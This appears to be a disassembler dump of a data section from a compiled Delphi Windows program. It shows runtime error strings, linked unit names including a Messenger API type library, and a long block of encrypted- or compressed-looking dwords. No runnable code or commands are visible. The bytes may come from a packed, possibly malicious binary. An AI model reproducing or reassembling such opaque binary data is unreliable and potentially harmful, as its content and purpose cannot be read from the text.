dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch, 610020h
dd 630063h, 730065h, 200073h, 650064h, 69006Eh, 640065h
dd 520017h, 610065h, 200064h, 650062h, 6F0079h, 64006Eh
dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h, 65006Ch
dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch, 490015h
dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h, 720065h
dd 630069h, 690020h, 70006Eh, 740075h, 440010h, 760069h
dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h, 720065h
dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h, 630065h
dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h, 650074h
dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h, 77006Fh
dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h, 6F006Ch
dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h, 200074h
dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh, 6C0046h
dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh, 74006Eh
dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh, 790062h
dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh, 690074h
dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h, 650076h
dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh, 690074h
dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h, 64006Eh
dd 720065h, 6C0066h, 77006Fh, 384F3D26h, 0B83782C2h, 34224F3h
dd 833A9B17h, 0CC100001h, 0
db 1Bh
align 10h
db 1
aDstub db 'dStub',0
db 10h
aFcomobj db 'FComObj',0
db 10h
aQcomconst db 'qComConst',0
align 4
aBsysinit db 'SysInit',0
align 2
aSystem db 'ÇSystem',0
dw 210h
aSysutils db 'SysUtils',0
db 10h, 0B4h, 49h
aMagehlp db 'mageHlp',0
db 0Ch
aKwindows db 'KWindows',0
dw 5510h
aTypes db 'Types',0
dw 9D10h
aSysconst db 'SysConst',0
db 10h, 73h, 41h
aCtivex db 'ctiveX',0
db 0Ch
a3messages db '3Messages',0
dw 4310h
aVariants db 'Variants',0
db 10h, 24h, 56h
aArutils db 'arUtils',0
db 10h
db 2Bh, 47h, 72h
aAphics db 'aphics',0
db 10h
db 0C7h ; Ç
aConsts db 'Consts',0
db 0
a8registry db '8Registry',0
db 10h
db 22h ; "
aRtlconsts db 'RTLConsts',0
db 10h
db 0DDh ; Ý
aInifiles db 'IniFiles',0
dw 5E10h
aClasses_0 db 'Classes',0
db 10h
aQtypinfo db 'QTypInfo',0
dw 0D500h
aRetcompress db 'retCompress',0
db 0
aCmessengerapi_ db 'cMessengerAPI_TLB',0
db 10h
dd 647453ECh, 4C4356h, 68532A0Ch, 416C6C65h, 4950h, 3443526Bh
dd 50B80000h, 78h
dword_4002B378 dd 3E1C1203h, 23353B5h, 6E0525BBh, 387A0825h, 2E557A0Bh
; DATA XREF: .bss:off_4001F6E4o
dd 5F51B43Fh, 0B44D21B2h, 2A121022h, 76253875h, 18210338h
dd 77C97F1Bh, 26212010h, 0D29035Fh, 0F208299Ah, 43A6942Ch
dd 0CB78BEBFh, 0D06CC8C9h, 0C5B53AC1h, 0F41F1570h, 0AA5C1E1Ch
dd 2723B1AFh, 0AEAD7635h, 7D2E2ABDh, 0AC0BEB45h, 696832D0h
dd 207237D8h, 0D53A7A89h, 193F3D61h, 56C8341Dh, 0B5A87620h
dd 0A1AC0625h, 9420628h, 7D6C2C4Ch, 1C318860h, 0CAA2D0C9h
dd 141639C7h, 0AB0DBD0Fh, 0B12E8628h, 0EB12942Ch, 0C216EB10h
dd 2A1DD413h, 1B29192Ah, 7D70527h, 2D01DEh, 0C6C0E28h
dd 8920ABBh, 2BE32D89h, 1611281Bh, 12411415h, 1E9810ADh
dd 1ACF1CFBh, 95918C7h, 0D970B42h, 18F0F87h, 0FFBF2B01h
dd 0B5F36D5Fh, 0DFE1420Dh, 148D2271h, 1627B24Dh, 7E2A2A6Dh
dd 907BCCC5h, 0F0B0CDCFh, 0B0173725h, 0D47FB939h, 55ED3EF6h
dd 0CA1EB769h, 73235470h, 7C4CA574h, 152A0729h, 42241ACh
dd 1C325DB0h, 955CB57Ch, 0C85E1D5Ch, 5B2B4909h, 4E1C3C2Fh
dd 2BC9712Fh, 664214EBh, 0BCC13E11h, 1E6A8CF0h, 358A9A29h
dd 7077B0B8h, 3B213928h, 3F287D6Ch, 111CEB07h, 22401F0Eh
dd 37CF7370h, 6DE920C7h, 2C1CF67Bh, 62311E3Eh, 0B11EA33Bh
dd 2B0DBC60h, 9D1B5A66h, 0CA10FFF4h, 21951E75h, 97F52E60h
dd 0C84FF029h, 6CD12B7Ah, 520F2EFEh, 90346031h, 273B0913h
dd 362BFB33h, 1B93BA32h, 6F025F1Fh, 73311127h, 590621CCh
dd 2EED3AE8h, 2F2F0C9Dh, 3A939034h, 49487471h, 0F4B1692Dh
dd 3A4E339Fh, 0BD0D5EF3h, 4220C011h, 0CE0D202Dh, 2BCB2ABEh
dd 2D2CCF7Fh, 0D1B91AC7h, 24515832h, 5238F84Fh, 9F521EBBh
dd 29F4D421h, 0E1A50B1Eh, 3B8956B8h, 892C4772h, 8B287B34h
dd 1C704630h, 0D163121h, 0D12D3632h, 0B0319BF8h, 192A1DB0h
dd 1CF70A1Ch, 0DBAD5AF0h, 29231127h, 0A89EC23Ah, 0CE9A2E9Bh
dd 0F9BDBFCEh, 3837A802h, 187FFC38h, 0FD72C2Dh, 9F1FAE81h
dd 32A224B3h, 892C3FCCh, 2E2F6929h, 8CC63D6Ch, 1B167DB9h
dd 135ABC52h, 3E4F1338h, 171A79FAh, 0E19E5469h, 0B21B256h
dd 0E361441h, 3E497A0Dh, 0F6394D9Bh, 0EF0A3D1Fh, 997E416Fh
dd 0AAB6A9ACh, 408C1432h, 4D5887FEh, 0AEF48FAEh, 0E67DAF61h
dd 0B9692037h, 0A6245E2Ch, 310F5F11h, 0A480C44h, 6B008B4h
dd 0A903B53Ah, 0BC24A501h, 1FB91E22h, 1B911D8Dh, 9627199Dh
dd 0E614EE16h, 3010FE12h, 0BEF0DE7h, 7DF09D7h, 0C804D499h
dd 917FC402h, 1F945D6Ch, 13262134h, 19C71E43h, 2FEAE00Ah
dd 302C4524h, 0D727CE62h, 363475EEh, 1B1EBDB3h, 0B7B5303Ch
dd 1E01388Fh, 32E5A319h, 268D8A23h, 3C297826h, 7F222C27h
dd 33100F2Fh, 0DE656634h, 0BBD63825h, 43F39FFh, 4BB83BFCh
dd 0A0C8EE95h, 5324D720h, 0A0683B60h, 47A9EB5Dh, 7753EF2Fh
dd 0BC646133h, 1D381342h, 1D187FFDh, 0C183F3Fh, 83BAA94h
dd 0A0E425E1h, 0A8036801h, 0EC2F2A28h, 0B2253628h, 34332E30h
dd 0B822C931h, 3C3A38E5h, 6F3EC6BEh, 41DE2E16h, 62E6A034h
dd 4AA7E633h, 242A2628h, 202E222Ch, 333DCE30h, 3739353Bh
dd 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh, 29252B23h
dd 25292727h, 0D12D232Bh, 323E3020h, 363A343Ch, 3A363838h
dd 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h, 0E7A32425h
dd 25ADEFA1h, 5931456Eh, 95023232h, 3B3C5D28h, 0F9387B6Ah
dd 0F41F3C3Eh, 32BF0213h, 25E32661h, 2D2426E9h, 882CCA68h
dd 332FBE09h, 0E323716h, 0CF585664h, 1A7222D9h, 8DD73B7Dh
dd 6FBCD436h, 2707E055h, 0E7A37628h, 3DAA5D7Fh, 2E2E15AFh
dd 6CB22044h, 0B7892530h, 64FDB234h, 647E0CB5h, 277DF45h
dd 5E712075h, 7625FEA9h, 0AF05A8D7h, 3F2E59DDh, 23393C2Dh
dd 0F1633533h, 3A593471h, 2E7BFB3Fh, 5A1D193Eh, 0DC253F38h
dd 1B381D2Dh, 1661191Bh, 12BF14A6h, 0E84108Dh, 0AEF0CFFh
dd 6C008D2h, 3CCC3A3Ah, 1D1F3E3Eh, 10181C1Dh, 1439122Fh
dd 18511665h, 1CBD1AA1h, 0EB1E92h, 50702E2h, 9540773h
dd 0DAE0B41h, 2AF80F97h, 2D0E2CC0h, 31EAA927h, 0A29BCDACh
dd 0FA60DEFh, 3A0AEE90h, 72180975h, 267C4925h, 8E52D12Ch
dd 0F38619F9h, 0C9D693Fh, 0A56E04DFh, 0E4C9B21Bh, 0F4116D03h
dd 3645766Bh, 7460A86Eh, 2ADD2120h, 76D12B72h, 7CFC1528h
dd 5989142Ch, 44A9055Dh, 60A4E4D2h, 0C12C27DAh, 0ED6C4229h
dd 6EC4622Eh, 38BD576Ch, 623C3736h, 0FE61DEB1h, 0B2577E86h
dd 0BE3DD95Dh, 0A4A0CAE0h, 61CFA7h, 27F83BE9h, 0F04856C5h
dd 0E2702536h, 6E003632h, 0BC2F2551h, 5D1BB321h, 1F2E3D38h
dd 1B221104h, 1733DA24h, 0A02B2BF4h, 0D4ADA5F4h, 23A8B1CFh
dd 34062E41h, 3B17F9B8h, 5E6553Eh, 4F5D1AABh, 0F9D135E0h
dd 2E7A9421h, 2E00C127h, 0FC1E2E2Bh, 66B89079h, 56531417h
dd 31C91826h, 1A3D8C2Eh, 1D13E43Fh, 212F1F11h, 252B232Dh
dd 29272729h, 22D32B25h, 3E30202Eh, 3A343C32h, 36383836h
dd 0C23C343Ah, 1C143F31h, 20101E12h, 242C222Eh, 2828262Ah
dd 232B25D6h, 3F2F212Dh, 3B333D31h, 37373935h, 3C343539h
dd 0F87A93DBh, 2EB3F71Dh, 0C32041BBh, 42670389h, 0BC3E0AC9h
dd 367467FCh, 73947BF2h, 737CF10Bh, 226A73FAh, 71BA77F9h
dd 5A3D1118h, 6756C839h, 0C47125A2h, 40C17A8Ah, 5F692DAAh
dd 0DA617AEDh, 5434B56Eh, 6A3C3821h, 0D723FDB8h, 2D199A0Ch
dd 0CA8C1A7Ch, 240691C5h, 2F2F2920h, 72A2A29h, 8A362D46h
dd 0B5EA3525h, 74988F02h, 93AA3F98h, 761F3E3Ah, 69153A87h
dd 677CCB65h, 0BAE6A724h, 797AB249h, 0B0F42FA8h, 35B67130h
dd 0DA1B711h, 3EA8D311h, 263E7E12h, 5A96DFF5h, 59CB7721h
dd 86C0C159h, 0AE469F15h, 71138C2Dh, 0E9330B5h, 5A37B064h
dd 9E78049Ah, 0B039F3Dh, 23BF1DBEh, 2384FB39h, 0F33D3AF1h
dd 2037FA27h, 30FF2CFEh, 0E64DCC43h, 0D82BE633h, 90CA377Fh
dd 81CC3FFDh, 36C9A2Bh, 0ACE1940Eh, 52E2259h, 0CC0EA16h
dd 0DD298BFAh, 716DA62Fh, 0BC753232h, 89A337Bh, 3C7CC42Bh
dd 19DA321Dh, 2E300526h, 0F0D222Eh, 59242845h, 7C2E9A08h
dd 0BB2B78A6h, 0A1A31137h, 0F0E4C661h, 35FF4230h, 130E3C2Eh
dd 0A1EFDADh, 36422D4Ah, 666A3B65h, 0CBCD4B36h, 1FEAAE09h
dd 69333B74h, 29746037h, 0A52470FFh, 7B183775h, 7EB01211h
dd 3641300Ch, 0A71939A2h, 236BB53Ah, 27690C41h, 8B387028h
dd 0DE650BF3h, 3BF839D1h, 0FFBE2D75h, 2D914A15h, 0F6C82050h
dd 20A522E3h, 0C12C7533h, 0A72D4BE1h, 0F73C0B6Ah, 342BD2BBh
dd 672656BEh, 6AFF33F8h, 130C2011h, 4033FF1Dh, 0A428C0Fh
dd 9C379E75h, 0AE292A30h, 492EC603h, 74103031h, 78441573h
dd 1F4B555Ah, 1BFF3C3Dh, 766A1D6Eh, 4D460F11h, 40221757h
dd 2D244B47h, 4B4F4C5Fh, 4363138h, 565E2E56h, 0B22B5551h
dd 0DEEA383Fh, 213360FBh, 4777005Eh, 0E640475Bh, 3A474700h
dd 272D6C6Bh, 7AC823Ah, 0C96001D2h, 0D3D09E1h, 38DD05DBh
dd 3D2322EDh, 3164FF19h, 0F3DB3373h, 3A1A3AAEh, 253BC075h
dd 9437FF46h, 0BE39D808h, 351C1B5Ah, 4CC38ECh, 41A8AFAEh
dd 63DFEC2Eh, 0C4E7A3C1h, 0A71EC525h, 2F2B2535h, 84268121h
dd 39555BD3h, 283D6696h, 4F7A320Fh, 0A79B775h, 91971308h
dd 0A0202CE0h, 58A92FE5h
dd 0C7A9E5E4h, 67723D38h, 132376BBh, 77C9B154h, 0EA3BB616h
dd 30F7B83Eh, 1D1DED9Fh, 0AF74731Fh, 7673317Ch, 19E208ACh
dd 0A3D2D170h, 62113461h, 475D8D62h, 0AFD1A437h, 2E3D6539h
dd 5191E4F0h, 0A820173Ah, 0CD64075Eh, 9FD5713Ch, 0AC02AAD5h
dd 1FBB2806h, 0B4601EB2h, 0D16A3F1Bh, 3C16B1BFh, 9EF33C3Eh
dd 70341EBCh, 741164ACh, 17810D21h, 0B86BD5D7h, 0B520ED1Dh
dd 0B5BC3295h, 7213623Fh, 8024BF79h, 0F9C136FEh, 4AE61C9Ch
dd 0E3A2A6A1h, 3426722Ch, 702EC6Ch, 0B8C67D04h, 0F3903833h
dd 0FF50F1Ch, 0BB67BD37h, 7F4E7E34h, 1AF56845h, 84A0F480h
dd 69A86057h, 76BF2425h, 662D2008h, 3792492h, 8009D7A0h
dd 0DF693A88h, 3F9F9307h, 9CBE27DBh, 1DC7721Fh, 0C325E1B0h
dd 28EAA51Ah, 0B65E17CCh, 12D32EEEh, 0CA0ECCB6h, 0EA932A0Ch
dd 0AF4D9F2Ch, 8BE429FDh, 82F008D4h, 32E74F20h, 2B25E429h
dd 0C4FEA1Ah, 481F6E2Eh, 7410173Dh, 31DC323Dh, 7CB618D9h
dd 0B7FB541h, 1CCE9620h, 20E821A0h, 0AC5E256Ch, 0F1A10969h
dd 33AE742Fh, 0C501CE03h, 35766263h, 0BA2A3538h, 4C5B3745h
dd 6B5C1C68h, 0A312AB1Dh, 13CD7273h, 7AE90A17h, 993FFA75h
dd 323E2300h, 195D5452h, 91551A5Bh, 5695A1DBh, 71375427h
dd 0CB4C3D02h, 0A0374A2h, 728284Ah, 5B71A46h, 82C1E242h
dd 591E5F1Dh, 5517A959h, 12B43081h, 703C3E52h, 7C49957Dh
dd 2A230519h, 4AA6A6E5h, 4EEAA783h, 582F2C2Dh, 3633CDCEh
dd 18C86065h, 1887BAEAh, 343CFE7Ch, 0DD4F1F69h, 0A8202145h
dd 273E0170h, 365FE313h, 3B0A61A7h, 0F1A6BC74h, 9BBF653Ah
dd 333A2178h, 0FFB2B43Eh, 4C1F1C72h, 322151B4h, 26515467h
dd 0AC295C5Ch, 0BF472C5Fh, 46AD305Bh, 36459333h, 60691F12h
dd 8521DA25h, 1C498147h, 9121573Eh, 65256677h, 6CC8266Eh
dd 2C644B2Bh, 342F413Eh, 0E5357621h, 3878773Dh, 2E6C2A6Bh
dd 78C43F4Eh, 0C8D0954Dh, 4983037Fh, 2F456DE5h, 6D91B028h
dd 0C0AB4628h, 7A26B304h, 0D8ACDE5Ch, 0B2B17E70h, 8DB51B1Dh
dd 4E621D8Fh, 0CB757330h, 0A42205DFh, 676331ECh, 6FDEEF22h
dd 7231E83Eh, 0F723C83Ah, 351E4930h, 30301F4Eh, 9D17CD13h
dd 69B03CDBh, 0D9974C0Bh, 8BC12A46h, 4D7D3CCAh, 733712Bh
dd 0F63A5D02h, 40987437h, 69683E8Fh, 5D2190B7h, 0DE761FEEh
dd 0BD2403F5h, 0D8140AADh, 7D6CBB33h, 0A7310F44h, 943513E7h
dd 39FB6642h, 3EAD0EB1h, 3FCFF039h, 0F27D0B07h, 6DD76C1h
dd 37C4F706h, 0CED2AB2Bh, 9ECF582Ah, 62D13B57h, 0CC5F5094h
dd 0BC3DFA05h, 71C7FEEh, 73BE6191h, 24C22781h, 5AD8BD6h
dd 0DC8A686Bh, 304F64FDh, 63726361h, 37AAF4DCh, 2153393Ah
dd 60FD345Bh, 0DD514745h, 9211C175h, 66E08029h, 2BB9D026h
dd 0EF96F65Fh, 92F2BB07h, 2AC1B732h, 5BA18B6h, 0CC2A49C4h
dd 193F7C3Fh, 2368012Fh, 69153399h, 17772661h, 0FD300974h
dd 3E3BB020h, 0C34FFC32h, 0B2601F42h, 1970633Ch, 0D5182F04h
dd 0A0DF0F4Ch, 1767A27Fh, 32A72DE5h, 2D6D32AFh, 607D1E11h
dd 0B49224D9h, 1C72361Fh, 0D46A7F39h, 1D3F2F07h, 9F2C774Ah
dd 0CC1BC936h, 0A4D9DA34h, 6F30A5ECh, 273B3D08h, 3334A137h
dd 613659F8h, 68ECC638h, 6261EBC3h, 1FAD6045h, 7A1E241Dh
dd 262A242Ch, 2E01256Fh, 63C7978h, 0C4026723h, 5C639463h
dd 1AE20A1Fh, 735F1C1Ch, 15C77A9h, 903403AEh, 743C0E29h
dd 88153926h, 3C160B12h, 19397F7Eh, 452E26CDh, 798D0794h
dd 0BC48B025h, 5296509Eh, 0E7DCF663h, 86261353h, 1B866016h
dd 7C0F0E4Dh, 10A718C5h, 0B100B633h, 0D870155h, 0FCBB083Eh
dd 1FFD6062h, 29281C1Ch, 7120A171h, 25A144CCh, 0B28AA76h
dd 46A9A76Ch, 3303134h, 0BC37955Eh, 4928C6F0h, 284F503Dh
dd 0A39581Bh, 0CA71EF94h, 22830932h, 7A63A8C8h, 2BDD9A21h
dd 0CC31BC8Bh, 36CF5CCCh, 5CECC734h, 9E31FFB1h, 9D329E35h
dd 2C2ACF9Bh, 787A7C32h, 72BD879Eh, 21C8EFA9h, 2309FEDh
dd 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h, 20101E12h
dd 242C222Eh, 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h
dd 0C7373935h, 3C343A36h, 1B303E32h, 1F111D13h, 232D212Fh
dd 28262ADBh, 242A2628h, 202E222Ch, 79407B4Fh, 547C4A2Ch
dd 71412572h, 75412142h, 1E02A164h, 223E2000h, 229D2423h
dd 0D0C9082Bh, 2C2D291Dh, 16B568A4h, 7634541Bh, 3A59145Dh
dd 0AAB69068h, 504D1BDDh, 6921BF4Eh, 54612392h, 29581B26h
dd 1D7C797Bh, 3E30202Eh, 3A343C32h, 36383836h, 0BA3C343Ah
dd 73573F3Dh, 649412E3h, 1732E05h, 409E76B5h, 0C4135A58h
dd 6E063ECBh, 1BFE02F3h, 0E8600C36h, 6B3A3A1Fh, 17D7B26Dh
dd 4EFFB36Dh, 0E3707028h, 97456B3Ch, 0EA65690Bh, 4E3FA87Bh
dd 8B333033h, 32F63431h, 3E8FF139h, 3E3BED3Dh, 7E1519C3h
dd 2A0478BBh, 8824244Bh, 0AA222447h, 383ECD2Bh, 5231D1F4h
dd 36D4153Eh, 0DB1520F7h, 682FFC3Bh, 7D1CFA08h, 21C4205Ch
dd 7024C768h, 4A28C373h, 6E2EBF9Ch, 0D16218EAh, 64344232h
dd 499937C3h, 6F6D0730h, 641F6F6Eh, 605D333Fh, 28AE0F01h
dd 5061CA0h, 2443EE78h, 0D8E02A3Fh, 0AB3CB24Fh, 0D0360E43h
dd 0CC168AE3h, 0F36AAE6Eh, 796EBC53h, 74CA7023h, 0C61A54D6h
dd 2B20292Ah, 43426C2Dh, 7012525Fh, 58455B5Bh, 3BCF2939h
dd 4D783C1Ch, 1118797Eh, 2121761Eh, 43404870h, 68282857h
dd 47BF2D91h, 3259645Bh, 363D5099h, 8E390C35h, 5B4E5357h
dd 1C541F1Eh, 21721DABh, 644D6535h, 0BAA7AD26h, 0A77C282Ah
dd 31A42DA9h, 0F05C6237h, 3938D6AAh, 0F173D33Bh, 0D898C0C2h
dd 4816023Fh, 2507065Dh, 2C1C6178h, 262BA3D1h, 0CEFDAC22h
dd 34CC30CEh, 0BCF17A92h, 1C2DD61Dh, 0E2D73D3Dh, 0D92C1DD9h
dd 0DDA33130h, 96862576h, 2A2A6D59h, 5BEEA96Ch, 3280593Bh
dd 2236CA26h, 3A38E190h, 39FD3C8Ch, 131D198Bh, 4ADE4A7Dh
dd 6525AB2Ch, 8B4D2927h, 2E7D282Bh, 3214B94Bh, 0F2D9B537h
dd 38393E37h, 1AB9B16Dh, 1D1E1B87h, 2024771Ch, 914CA769h
dd 0D67A21A7h, 256C7DFDh, 35A336Eh, 377DDB62h, 67EA6830h
dd 63633F58h, 0D85BA51Ch, 0A3072123h, 74A141ACh, 0CBBAD76h
dd 6492AB39h, 706CA57Ah, 0F63F4620h, 0FC01B73Fh, 0F2DF39BBh
dd 0FB3B1C89h, 0AA066321h, 280A06D0h, 7F7F9F2h, 0CF82200h
dd 0CEF827h, 2C313A1Fh, 0FB363A32h, 6D3E78B3h, 37D6396Ch
dd 16965A5Bh, 0F2055494h, 22E1A72Fh, 0A802DE6h, 8927F202h
dd 36353520h, 663D37B3h, 654D3B67h, 3D32EF38h, 95CD1505h
dd 71394F9Bh, 12302362h, 0AD9DCB22h, 2CADB02Bh, 131AABEh
dd 34A10B1Dh, 38A9E75Ch, 0DB3C7AE1h, 2E3B3EDBh, 21FAB765h
dd 2564A431h, 1826638Dh, 9CBE2B6Ch, 316AF62Ah, 31327261h
dd 9836A36Dh, 2C383A6Fh, 6B3EAAD0h, 8CEC37F4h, 0E0213BBAh
dd 2EC6262Bh, 9BC22D42h, 0B11E24DFh, 3B3920F1h, 27BF24BFh
dd 361E0A97h, 612052C7h, 7A0C24BFh, 310143CCh, 17052405h
dd 48CD0C8Dh, 7E136C7Dh, 131534FFh, 108C7C26h, 0D246E8BAh
dd 2ABF2F85h, 103D1D70h, 0E4243C46h, 80692E03h, 6BC14726h
dd 200D2EAFh, 31F51B78h, 4123E13h, 3F0A8730h, 2839DDBh
dd 0E41ED238h, 0CD1AF87Ah, 44FB2284h, 2884C4CCh, 0E9FF2FCAh
dd 722ACF2Dh, 8C33F2F7h
dd 0C93C3735h, 0C390BB3Ch, 0FAF90D75h, 0AA2D571Dh, 10722300h
dd 6C67E9E0h, 0A5C23E1Bh, 1C662A6Dh, 3712D7EEh, 9AD681F3h
dd 9B618DF9h, 0E793D12Bh, 0FE16F403h, 8A8CD053h, 8BD12C23h
dd 3683E91h, 4E5681C2h, 559CDC2Ah, 0DF583672h, 383A6E9Ah
dd 3EEEB834h, 19091B3Ch, 29351F1Bh, 0E1D63622h, 29ABD8D8h
dd 69A14BECh, 0BA60230Ah, 1ADCFD22h, 31BC37F8h, 19946FB7h
dd 3F1BB632h, 0EE0E1E4Fh, 7421B421h, 0C02F1625h, 0D3D5E54Eh
dd 44EFAA7Dh, 1418327Ah, 70677734h, 3C344526h, 0E1E2BB6h
dd 0A5AC1974h, 9B722710h, 152671ACh, 0C33FFB2Ah, 0E247D4Dh
dd 53B1D819h, 0BE61CAFAh, 7B32B98Dh, 3F2A2C2Dh, 0C1D4C1Ah
dd 6AD3FFFh, 21B52D9Bh, 38DBB035h, 0AA9EB3Fh, 3265907Fh
dd 25348435h, 4C3B273Eh, 0C2B3702Dh, 1E130D40h, 23C1DE95h
dd 22E32CABh, 0A975C09h, 0C51D5001h, 11C3C3ABh, 0BC33A326h
dd 36160106h, 0AB21A439h, 0ED6E5D23h, 8BF7D650h, 39B35D40h
dd 2CC7FDECh, 4DB531D8h, 8932BE28h, 29A13240h, 0F9BC1AC2h
dd 0B53F4C99h, 2A2E375Ah, 361F74B2h, 2D4B103Fh, 7E0BA5EAh
dd 38C723ABh, 36E7928h, 68333525h, 0C8359E58h, 38D7383Bh
dd 6956C256h, 1E1D5FB7h, 2280441Eh, 0AF417427h, 2E290D3Fh
dd 584D8F0Bh, 221544A6h, 0EDC7019h, 0D3063892h, 6A3D9916h
dd 0B83EF27Bh, 36C9761Eh, 179C2382h, 0E62D5556h, 253DC4FAh
dd 744AC128h, 90D73534h, 0E1D11D36h, 79033B9Fh, 1CBEF2D7h
dd 85DDF749h, 0CD874B21h, 90278692h, 432D28E1h, 0A9722822h
dd 3531F339h, 0A81DE2DDh, 0BB1B71DBh, 7FA01659h, 9FD73883h
dd 0ABBBA802h, 0A8C38806h, 0E329250Ah, 7D13A67Bh, 38DB74Ch
dd 0B23D0639h, 0BB4E59C8h, 0B9B5EA51h, 3D01FCA0h, 2D6320DBh
dd 47AA5BCBh, 53D9C016h, 70720C6Bh, 0F6B23874h, 0BB52757Fh
dd 58D13C78h, 0F52F7EBBh, 0DC9C88D7h, 323D2CDFh, 11250122h
dd 1D2B7370h, 678C378h, 9B2276Eh, 6507700Dh, 39B001B6h
dd 0BD3E386Eh, 1A9F081Fh, 78205D4Bh, 0A0E57021h, 2B278601h
dd 31C3AE2Ah, 53DD6C82h, 7C15403Ch, 72376760h, 1256B8EAh
dd 0EB66247Fh, 0D5EA1D4Dh, 0BB40636Dh, 41BC2455h, 67288E4Ah
dd 7DEA3D80h, 45AB234Fh, 51A4C46h, 0B76B1C69h, 0DD4BDC4Bh
dd 23116D10h, 1DB36BEAh, 0A4667291h, 5B029644h, 51CD5FC2h
dd 91A5368Eh, 0B606663Ah, 0D330991Fh, 0DFA25D67h, 0EC29901Dh
dd 0DE703DDFh, 0AD32C3F4h, 364D1805h, 2D33FC2Ah, 40012F31h
dd 8545075Ah, 481681D6h, 4C1E4780h, 239DFED4h, 326E316Ch
dd 2EAA5E1h, 14E1EB54h, 0B9E9ED4Dh, 302FD12Fh, 0F79E72D9h
dd 0BCDEC9C9h, 1CB60CF9h, 45D70C72h, 0D4401CD5h, 0E74271C8h
dd 1AE7DAD8h, 6F2FE844h, 7F3E094Ch, 0AEF20E58h, 6A5E70F7h
dd 3B521BF9h, 0FEEAF93Ah, 1D9D5412h, 2261A0A6h, 299A920h
dd 6B4BC10Bh, 4CC82BABh, 425147E2h, 747054Ch, 492898F3h
dd 0D64F6C73h, 72CAF29h, 0E1E705AFh, 50E4A621h, 3BA0212Ah
dd 69412B3Dh, 396D7171h, 716F3282h, 3DFA775Bh, 623DC53Ah
dd 131B3053h, 2F1F111Dh, 2B232D21h, 0F9612034h, 2C6A6228h
dd 1A3F0E67h, 64A9627Dh, 0B863FC45h, 353D6FF0h, 0A26D360Eh
dd 6B93911Ch, 0AE320504h, 67720158h, 9252613Bh, 0DC0E472Ch
dd 3CDA6195h, 0C8CB35D4h, 0F1EADB3h, 3F3E3C3Dh, 97D42F1Ah
dd 2A3D0453h, 0A2717A3Fh, 231D6703h, 27800D64h, 8E59396Eh
dd 16653DD2h, 3A6DF88Fh, 0D634CE39h, 3DB8197Eh, 77754C00h
dd 0ADE5A075h, 0F880CF22h, 0CD08873Fh, 61702EFEh, 0DD4A7EBFh
dd 0BC3EF785h, 0B833FBBAh, 1E1B3A31h, 0C83F8C4Ch, 56F72D60h
dd 0C1262C2Ah, 236A2F32h, 0B50201E1h, 0B93032D2h, 28137A35h
dd 0C39ECCD1h, 9FB46EC2h, 6A9E7538h, 7333E348h, 2464E2E6h
dd 0D33FD62Eh, 64EE772Ch, 0AE0AB011h, 0B7663634h, 0FBD22D33h
dd 0C0C19A4Ah, 4AD91D71h, 2A65480Fh, 0A535CE96h, 59A918CBh
dd 442C2C2Bh, 58385A3Fh, 79155E30h, 3E532E5Dh, 54197C7Bh
dd 7A9C1A3Dh, 0BAFB1AD9h, 247423C3h, 0A96C6316h, 0A81C5E27h
dd 15F40FADh, 85FCB864h, 31387324h, 0FDADD33Eh, 1495B224h
dd 0DF7DFAF5h, 64E311DEh, 6EAE263Ch, 0E8A87421h, 672CED21h
dd 751FBC29h, 0D0676031h, 0BD5838F6h, 3F4BB527h, 0E5DA9E10h
dd 48352024h, 0C6B3E25h, 3B2B3D3Ah, 279C232Ch, 5DAA5F0h
dd 3B3B3865h, 75737969h, 7E063C34h, 0E14A04BAh, 2195620Ah
dd 52D3A177h, 0EE6DA82Dh, 0AF2BAF74h, 3302305Ah, 2A19349Eh
dd 0CF21B9B7h, 0B66C18BBh, 75D0B76h, 6760569Ch, 0A8B02BA2h
dd 0AD6E6772h, 7D7E1028h, 73416967h, 8FB13CB7h, 68BB7178h
dd 1C347D7Ah, 3C631BAAh, 781D2B05h, 9F9D2013h, 2A163A85h
dd 2D291C84h, 42D1BB2h, 33893003h, 0EBE3A81h, 9199B3Bh
dd 190D2E3Fh, 15CAA0A6h, 52201745h, 0CB24107Eh, 0AD7E01B9h
dd 6E35B9B4h, 0B1A3306h, 51FFD36h, 83D133Ah, 304E3FA7h
dd 40A6197Ah, 0EE24418Ah, 86952482h, 98A99027h, 71457A29h
dd 4E32302Ah, 37BE7C92h, 96117534h, 3E49BFD2h, 0C11C6944h
dd 5353BDF7h, 4ECDE722h, 5D4B2652h, 5977812Ah, 33447C2Fh
dd 76354779h, 2923642h, 332C3B4Bh, 1C6AA488h, 51B6100Dh
dd 932D3221h, 38222654h, 2C5BEF27h, 312F9623h, 0E7303228h
dd 38377594h, 0AF3E1A20h, 183F3F24h, 5B19655Ch, 23DD3420h
dd 85367524h, 2A23296Bh, 2C2E108Ch, 6337997Ah, 32663544h
dd 7F1E7D28h, 0F361D0Fh, 6B1DDB20h, 7DE11313h, 64A4797Dh
dd 0E93DA9E3h, 0F0101A0h, 16314C7Bh, 39CAB13Fh, 3A399BB2h
dd 543B5638h, 0E21E713Eh, 60100A1Ah, 0DBA7D37Ah, 5A2253D9h
dd 4DE64D2Ah, 0B8E21C2Bh, 2F107B66h, 403976B7h, 0F939FAD9h
dd 1D5A1AECh, 1A095C02h, 11226307h, 25666F2Bh, 24EA6249h
dd 122FA376h, 34BBA087h, 0F9710734h, 7D1F963Ah, 58E89A35h
dd 7BEC1FDDh, 21AF23E1h, 73BE010Bh, 0EEF92869h, 53D02C6Dh
